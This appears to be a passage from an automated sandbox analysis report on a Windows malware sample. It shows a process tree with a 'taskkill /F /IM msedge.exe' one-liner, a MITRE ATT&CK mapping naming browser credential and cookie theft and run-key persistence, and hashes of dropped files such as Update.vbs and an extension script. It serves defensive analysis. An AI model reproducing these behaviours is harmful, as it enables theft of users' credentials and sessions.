      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6784 /prefetch:14
      4⤵
      PID:6428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6764 /prefetch:12
      4⤵
      PID:6484
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6968 /prefetch:14
      4⤵
      PID:7048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:14
      4⤵
      PID:4276
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2136,i,110921871809712368,763300089992681637,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6516 /prefetch:14
      4⤵
      PID:2496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
    3⤵
    - Executes a command shell one-liner
    PID:6608
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      PID:6976

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2148

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1476

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:6440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Modify Authentication Process

T1556

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Update.vbs

Path C:\ProgramData\Update.vbs
Size 145B
SHA256 00261a30ecefd59c2776e527ec69c44bded5db535fbf49e2b2c4660d16cfe546
MD5 c56107824d1b2091b408cd46b8713d5f
SHA1 572a6a9f2c5a0f2c246a733ed3cceda165354a77
SHA512 83deb85a28e387f2ea5a0cee4be27066d9db981f635e31058a75238ea08d2ce155d1ed3ab4ce77a3bfff2635901eb89576c7394242e16175c0f1ce1027b67b40
TLSH
T18DC02B01CC0FC83408CCF1730BF0491DCFF50C1810031E304302C848331015423C5312
MD5 SHA1 SHA512 TLSH

Submit Download

509e6df2-b600-42b7-bfd1-b5e8cca2752e.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\509e6df2-b600-42b7-bfd1-b5e8cca2752e.tmp
Size 6KB
SHA256 bf0dd63e16b6f77fe8adddd19d5c196e84c134e6d2b4e41752589296adaaffdd
MD5 6e889bee8cc974b6449b61937011dc21
SHA1 95114bfc424283f2ec1c4320e2c2b3b84c7958eb
SHA512 106c2108acecefabdcab697933fcb5b99546da1c005157c6726c8d7764ba399ba23d2af5273b88198808f3a2e2babd68dde89c6d24f16c8b7b2f39a43ca5c080
SSDEEP 96:MC6Jd+qw+CWJKhPPf36vKt6Sl8h4otoZ45ev3DVB6BGovr7jAixwzTURKVq0j9IC:MCAh2WJiibiUzCzrdUj9x7RKVqUT
TLSH
T1BAC119F5A47D6C335AF7D604B8032E47CFB022ABE5046E54D9E90F1801E71DD2782622
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 f9a21e220ce7232c95dad34f0ceb290496dbbf4d1fcc0f5e17911409f73cfcb4
MD5 617cd5c9991a272457976928eb35b807
SHA1 99be2eb1ead0590e2b73ffbdbde54951540602c8
SHA512 a5dfe7dc0f0711ef62e6ac419c6c4edb5f7ae675e42bf339fb8978bb97209b5a3dae387b1587a1033039d9e04f0562f309b4f2516756243a9066a653e35bc716
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 8b88448535bfc0b00af21ae0a33b43ea77d6fd1b387b4a2507066dfb1737648b
MD5 ce3c027fb6a05cc45d316b724a27fd30
SHA1 210e0ebe2944e8737c09abdee53c74070b30441c
SHA512 cf2a004e01cdc8e10b5eb7404bb28dfcb6cf39c2f4fb57b158f1c751ea79d7127d5d403013c68d7a80ab3ec86bcffeb9b5df2a15d8daf3424725d31da811eeda
SSDEEP 12:dOSBtsjDTuWfIRt+f3ia0EFpqxbKEtW16ve9Nh547xsAhqhll:dOSBtCDqWARtyivVW1ayNhW7xsAh
TLSH
T1BC13E97C51915ECEFAD5003D6CCB47F263B2CF9AB59541132170F53E6089B491F4A164
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 5a9c118b8b9414b027799000cc0bd35dc6c04270edb757cc4078e402c4498cc2
MD5 7efb6336fa765995fd3a573c2702c78f
SHA1 44f2a220f78d6024ce77b1c0c4b2c7470a8190d4
SHA512 ed067b7b0c6558e4bdb19b020cebd73e4a10fcc11c7e7e1de37c08014be503253b5cea83c19c82398d1269b71c9ffb3cdec04f3c9d2af2fde8011efd6829d413
SSDEEP 48:RHELi2FYgoAulM1Xgh+ChMmXP6XeFdVEPLVBKWwtlhJ3zSoAfQsyoa0o:6Kf1lugh+ChjPaOVOLHKWolhJDSenq
TLSH
T1974421F72C049987EB24C7F45881A13C9E3347152CDDEDEDE52888B71490EBA61546B6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_2
Size 1.0MB
SHA256 9f430382589bb3a80bd797eb1232d866eec9f8daf455a31500351ba0b3752548
MD5 2a5c3d687517b66d0b3e1c522b4d17e3
SHA1 284822d46b50915ddb6706b56dbf3892f0dc2d36
SHA512 3f34024111d5e658a68e3820d321818b3993eab29270f5d077c41b99255c2f33a69c996843f167f539b6bf6c9f3843e086b2ab935cb0a8e4680bf19dedac0cf4
SSDEEP 768:WUfDPLSgcRUv+LqwPmTo+IPEPV2+/BUfDPLSgcRUv+:CQhIwN
TLSH
T1902519CA0F186AC7D793D931EDC1C83D2DB82299AE9768436041C9BA14D7FC11F9279E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_3
Size 4.0MB
SHA256 78a4d0d8557f4b1e474de0118d036df2dae255e7165fb35091342345e937b832
MD5 fc5bf97f081fd4c1d5c0bdf25d63df74
SHA1 6bff0296af2c65e12a1ba366c9bbf98c6febb1b3
SHA512 23e0b6c7c71b3af974ccda80c50fc470dfdb81b66656b9b22585fc5e6e8d19bf806236894efc1c97da38b3ee5909a28f4f0239e930ef70994b1827d244e932bd
SSDEEP 768:RUfDPLSgcRUv+x4tRs4+vzdxivp/5Hs4YfDPLSgcRUv+g4ns4:NpRzdx0bMTR
TLSH
T1C9165CA74F287542EA86BFF0FBCDED1C3D7023D1A8939882A527827959F1BC1478505E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG
Size 320B
SHA256 d907579fa86189b9d3930f1d575d2ecdbf1e81f7d29e98fe9568f7cf79495183
MD5 987149f56eb1f403b8dcd5201388fb44
SHA1 5a94b85310963e4e2f4c8b3a3b4cae2b53a83c22
SHA512 bca065f7342fa51e5ce10d30235f97c626577f7445cc40bcee851a9d501ababb0850df6c8ddb515bc67d66316353c624b1cdcb42e2ae05c67926f8d5a4e49561
TLSH
T1DEE0865724C9C52F50D8A46382E4731DCBE47C09A7C939061749D4943183D0676D4360
MD5 SHA1 SHA512 TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Favicons-journal

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Favicons-journal
Size 14KB
SHA256 998ea4e8465a57e4df33e0d8bf164390ecc6a0a33b6c95f62b12ece26c7f0982
MD5 aaa3fb7bc115c7a438ce3206879e1491
SHA1 6a386d8004b68d069aebdbce9ac2321ee196b587
SHA512 de0418f05932ee5590c7c9503a1cc6faaebaf95356430a631b8a75a0c5e603f21ad7e2b35ca324bf8004c294bed4e5e43a20a874a39f03b8adee5cf844c50551
SSDEEP 3:HNK/FtlY1l9NK/vPl9NK/Ptl9NK/8t1l9NK//Pl9NK/stl9NK/utl9NO:0/ma/vM/a/8U/U/sS/t
TLSH
T10D62090D4B50005DCDB143B14E720834FF321088584615C1334811310FB311B7B4C1D8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

History-journal

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History-journal
Size 40KB
SHA256 daa409e2445c6dccaebcb73d778823143594804bb7998939ac8f78a0302877b3
MD5 779171529756aca0e7c3575b7f6159dc
SHA1 734cb119933265798d6e2e1057e0b84410ae08cb
SHA512 d1d9fca748b5b59b09bf66e95193bcc8a212f9d796585b85a8c8dcee09db9135ea731a9e4b6ac37e99d038915c32c4daf173e2202582986d56ce1f773a86dc6d
SSDEEP 3:dC9fHNlldNll9C9G/Nll9C91tfll9C9Ytfll9C9v/Nll9C9mltFll9C91tfll9CI:AQMCBQ2CgoXyKWlIelIZQv
TLSH
T14013040BA85D00F1C82C80B84EE241343F7625DA59C1D6D020D90134797311929B7DBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG
Size 332B
SHA256 e93e4291e3c7e02d0704730beb801045affd24dcab46bdddbf926305de8e8e6e
MD5 ec00adbef133078ff41140d39a16571a
SHA1 d75346b1919ef5ce5778feda9084ea1b7635a078
SHA512 607dce45866bb1d4823bc5c5afc37fe83254ea754514aa7420a3aae6f109c32a853e5d167db78dc4218eadc3c5c9c1f4e839fbdb3df83bcf7e7a35b8f0c940be
TLSH
T1C6E0205B288DC55D1188901F42F4730DC7F03C05D7CD2A454B06D944B0C680867C02B1
MD5 SHA1 SHA512 TLSH

Submit Download

97735559-90c6-471d-a985-e8241a931a59.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\97735559-90c6-471d-a985-e8241a931a59.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\LOG
Size 333B
SHA256 e93d43d47c2aeeb757b42d28be175cf1b6cfb396c7f3ae9877e8d9cac3c862b9
MD5 76f7dd596f8627cd4435b70c3990c8b6
SHA1 33eada7f33c9843e3a515d5820da8ed573bb7fab
SHA512 b8d5e498e74b32b2346c1c23b2745d988c397fea84087f49f427e84014dd5c990b49c9a0919f56bf572670734cf0e823533db0f27bcfd4e71fe3ae4e2ea63bd0
TLSH
T131E0C25225C9CA7E24AE911B02E8B71EC7F8BD2BD7CC38465F81DD4011C7D0972E1660
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log
Size 269B
SHA256 87d8dcf979642c467246690485357f7b3717431974704dae6dbac13ead499203
MD5 2a7fc322336b62dea0690fc845b50d63
SHA1 88d1b8b3cafaa831b3ba65937b3172935d3f2f39
SHA512 1c9039696f006649635ed355420cbf93f932545a8711eb1dd95114abb24e46af47af0e65434a371a0490acf9291b791b018dd1749aa9fcd7e415620b2fc68fb6
TLSH
T1DCD0C9C709C0B157FCC986B00D9A27243F22D47D0FA15CD3D5DC719506AB9722050156
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG
Size 320B
SHA256 35e34075e6071d19f3ae281dee3b0e012160925723d3b86ba731749da7caf6bf
MD5 cec914719d84984000d63f7a6877bd47
SHA1 2a6ba0d17745fd680880a1259e4d883e0b23231f
SHA512 12be7fc26c8e02c1055ae6ac74e2215387d6d3e793d8a74b3265ddce4020432bcfdc37ff4ed3cf9943403cea3d2c5a85826198fa9e79b1a6d2ab506d17d96e83
TLSH
T1D5E08C672489CAAE109C986B02F4B31E86F93C15E7DC28065B42D44832C680A7BD0AB4
MD5 SHA1 SHA512 TLSH

Submit Download

Session_13438105389108792

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions\Session_13438105389108792
Size 8KB
SHA256 5b64d01afa97f58a4124cd21c52749b86cc8ccf05d07abc85adefd97a6a58dd7
MD5 9a2f627144188b3feeed8860f0e22c20
SHA1 2d096b3bf8d8b41e12d000110f4897651a8622e9
SHA512 80fc8fdaed6be11595731d7e9c23379ef34ebf3d891694959e0b907baf6953b26f5ec57bbf7ac2a241d3cafde85669e676f02b0e8622747308f8341837a9be0f
SSDEEP 96:3GW2csqWBtnyG4Y+BjLR8eYi+tnyG4Y+B1NMMQKaU7OqeTOKdPQKaU7OG+fSyr:3RYYJbBeHi+YJbB1PxaU5eyKPxaUGfSc
TLSH
T13D02CD2666F8013EE2BF853DD5F615A6AE72BE032541CE1E407152080C62F935EB1E9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG
Size 345B
SHA256 2553edd8956da62359d01b726e1bb4c0f8378d4ffe2f259000a801bc414080bb
MD5 aeb1a6d3a7be2a8c655bcc2265e12e53
SHA1 d36d5e46fc20518768923b3b074149be52936429
SHA512 38c78490636a3600d8c8c908c238d789408cfbd4c0f374eaadcf465dde20a4fe7b24238067567bc6a4165a699fd794b601ffc9f6a7635a894436d20dabb80afd
TLSH
T1B7E0262226CECF3F11CAA01B53E4F30EC6F1BD01E7DD14566F05E480628AD0472C2A60
MD5 SHA1 SHA512 TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG
Size 324B
SHA256 1324d9fecdd7b8c0e93ae190ebbc5756bae097da39bca26b79685e90da32cea7
MD5 e947f932347bfaaabb08ff4d6500b381
SHA1 7fed5ff51b33d5257694d21d35ae8410e496eed2
SHA512 31db2074d0dd7e7d2c58ac1064dda00be00e18a1f6c3117332d0060ab4eadf0a5533913b44745394c6da13e9762b0ce9de870dca4d075ffada2d8b4dba74df28
TLSH
T1DCE0867329CDCA3D1088E05742E0B31EC7F4BC1D97CA354A5B04D48C718391562E46A0
MD5 SHA1 SHA512 TLSH

Submit Download

QuotaManager-journal

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\WebStorage\QuotaManager-journal
Size 8KB
SHA256 a00cfd8bcaf5ee2bb191446b6492aa72a2954a1f8cb6db0a61a5f0ffde31f7c5
MD5 6726208d193fb43d16c89d1d2e6552a5
SHA1 c979b58c55ba6af6082403d7b642e953f1993f2e
SHA512 f5d85bef05a788d9ec3acc36393f0c07fcaccb987cd79cce96e34c7b07227945b3b3867565b38b42b69f5eca3e4fca79d396b9bf299b4427ba1ab2b7eafb9022
SSDEEP 3:Iz/lHlNllv/etXl/a2fzl/al+qg/G9EZtaXM/RuWGJpDEJ7KgJpDEJ7HBQgl+mS7:Iz/qlmMLWc/mLEJOgLEJLn+X7
TLSH
T18E02228AA2805481C439803CC7CFB6893E3ECE68BF872605B1D084ACBCB91024030B80
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d6f09651-ffb8-4bce-ae5f-3c277c7d0c3f.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\d6f09651-ffb8-4bce-ae5f-3c277c7d0c3f.tmp
Size 11KB
SHA256 4f8319c6c06152711793522e6c6739e248061d5d697b3015fe2c4d6b0f457097
MD5 a43952e94343e1a9e73c17294bcd2f9d
SHA1 c8a0ec6dd61909b2a56767e5f5550047e64cd7ef
SHA512 c9877532bd9bbb589a8e6cb2cbd2fe370a2dcc05db8c260caf41a05fd09cb4531fda7f2a8bce4d286510c91f131142b0217683dfb9915c9588216ee38d3589fa
SSDEEP 192:IRFQNyAziv7+APRp21WX9JHsb+WNnIgQQp2V6Sj6av/RzFVVyIsnAUgR:IRFQcQurXzHwnx2tj6an3R
TLSH
T19F42B79DA914393BADDBC229FD217B57D3F5102221D41E88EBFC892C25D76CC222B417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f598be20-7d6f-4a68-8ddf-cae010d135fb.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\f598be20-7d6f-4a68-8ddf-cae010d135fb.tmp
Size 11KB
SHA256 04b49d059d7953ee12f99452088df290d1327b26d8faa93e285f79e8fa276294
MD5 93655929bddf1d378218d983468c8537
SHA1 c8405298d762c9041214a6eb416be7ba021d4889
SHA512 405e2368055f967594547ed917d21d5ded06ffbc499d5168366958bf332905a29e8a81c8a7326b2cc879ad12499ac6db1e3fafd005b6199123e27dd8630b9c5a
SSDEEP 192:ezI4K6i47KxkXqK4I40pUZNCgVLHrKHfFKslEe75XzKD/dY+ErUkKN9twqSXnhHw:uIj147KxkXqKf/pUZNCgVLH2HfgslT5s
TLSH
T1C132D727A48D9E3F4FDCD509CC526F8BACF4429663680D2893FB9C0803A578E515A5FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log
Size 18KB
SHA256 5de93a741af874f17e94d7fe6cd53cd2ba072b95e86158ca258d045ff5e1246d
MD5 c84a15d85625552a7dce62e2585f2c82
SHA1 23980e119471e45f7c642d3bd554402515e78ced
SHA512 da241648ea880454d5c76b5813834b0ef08fda0a0ae5e62cca134c08f7b8fc333a6f50604f8cc9388b484e5129cb0c7e8abd2f2c4da1ca16fb5c72055cf8f561
SSDEEP 384:0PidAsdGpYBuAhx0sdGVzqoiuRosdGwrFcosdGx3:MtYLaGoh1n3
TLSH
T18E82B5AAA3B11784CDCB93FFBC94CD3E03339D8944BA044294A657B83893E07C98135D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG
Size 320B
SHA256 48d488b33c945e93a6cc77e14950f23d8a63cd8af31dadf2fa97ad61b3704f7b
MD5 f0395768939ee64378984423a9dad310
SHA1 3707e93f3acc04065300334e7b60b16628c3001b
SHA512 7016a8dd8db60570d1ceaed0a64383f0cded36963402aff8ae9f9e8bf4ff387a41248ac5eb1592d2e032d200768d5efee3a2b861031e325bc3e5f4578c3d921e
TLSH
T1FCE08C6279C9CA6E60ECB05712E0B76DC7E87C06EBDA2A5B5F45C488A186D0962D4360
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000003.log
Size 808B
SHA256 cd0bb357a39d4eff9f47324f0e23d1a792ea87e1e633cb1916d30f169c9e672e
MD5 92aeb8277fbddd10897a865293d9e303
SHA1 b1bd6f807d8ad5fa1af898895eecd6460024dde1
SHA512 59bc253c6f74f242d46a04187aec8db1c8ec486c8db7fc2969f51bf3cd66ab3c968f64f73bc3c570d9f3889efdf907860a238c1c30b0680389500b5d6fec9270
TLSH
T12A016D16F730C114E14A923A646AEB251369D9529FBCED0F443560293E72A201E8B6E4
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG
Size 338B
SHA256 0c7488742134270bbd3f1724043d839a55bd86e4352c1b20c4724208f4aa4d94
MD5 2167eb04c3cb32998cc8757e4f43db9c
SHA1 2795033c9645487453aec84ecc0b7b3adf9633f4
SHA512 11114805ccd01d781ea9a960b9694682ff1aca3175981c2d8589525f28319c348f6931054e6abda51400a75af5a226c0d355e8d5d79527f74810f4f436578288
TLSH
T185E08662B889C66F50DCB05301E0B76DC7E47C06EFD92F1A1F81C8989186A0572D5260
MD5 SHA1 SHA512 TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Variations

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Variations
Size 86B
SHA256 474d668707f1cb929fef1e3798b71b632e50675bd1a9dceaab90c9587f72f680
MD5 16b7586b9eba5296ea04b791fc3d675e
SHA1 8890767dd7eb4d1beab829324ba8b9599051f0b0
SHA512 58668d0c28b63548a1f13d2c2dfa19bcc14c0b7406833ad8e72dfc07f46d8df6ded46265d74a042d07fbc88f78a59cb32389ef384ec78a55976dfc2737868771
TLSH
T175A02407C473C00FFC144051C45C034134F4C047011DD4015070D31314D40CF03F5435
MD5 SHA1 SHA512 TLSH

Submit Download

a3a08b4f-7072-4d1f-b0cf-5acb0fb26921.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\a3a08b4f-7072-4d1f-b0cf-5acb0fb26921.tmp
Size 4KB
SHA256 5a4bb7bd5e85a2887eb5943595b5662a128244202ef8395f620ef8d2b99c4e25
MD5 faccb25ccd071c73cbbeb7d2269a6d72
SHA1 e9a0f99d20433fe94bd66fdc175d5d6ea1097459
SHA512 9a2d16813b2716b3a9644ff8884ed7003803bacdfb8518357e0f3f6322836491657de3ab462b5aed57673e87475e2d94afc3c7ac85eff8938e7ecef05e597d5b
SSDEEP 96:9C0d+qw+CWJKhPPf36v+twERDotok5evsDVB6WGyvr7n7Vsbm3W4a:9C0h2WJiiniDUDC6raqn7Vsb1
TLSH
T12EA1087294695C7B89BAC685B8432A07CFB0636BA521BF40D9DC1A0811F72ED1392A27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f74104eb-5240-487b-a144-1b7efdd5b6b9.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\f74104eb-5240-487b-a144-1b7efdd5b6b9.tmp
Size 4KB
SHA256 5e16569eaca1b3d71dc6a9fc26f047ce4038988685d63ea2210861b51acd7e5e
MD5 d42779b51fd59f1f294681e46d409c72
SHA1 ac89d26532e0492046024b8f9771c7f711eb688d
SHA512 fa5fbb970558cb27606ae665845b463dec75a0eb1a27ac645d48976d3d962a4e6b07384530d8bcc0a3fc21953a5b22d40a3e6c67bc5dd0608dee16a71f962edb
SSDEEP 96:9C0d+qw+CWJKhPPf36v+twERDotok5evsDVB6WGyvr7w7Nsbm3v4a:9C0h2WJiiniDUDC6raqw7NsbC
TLSH
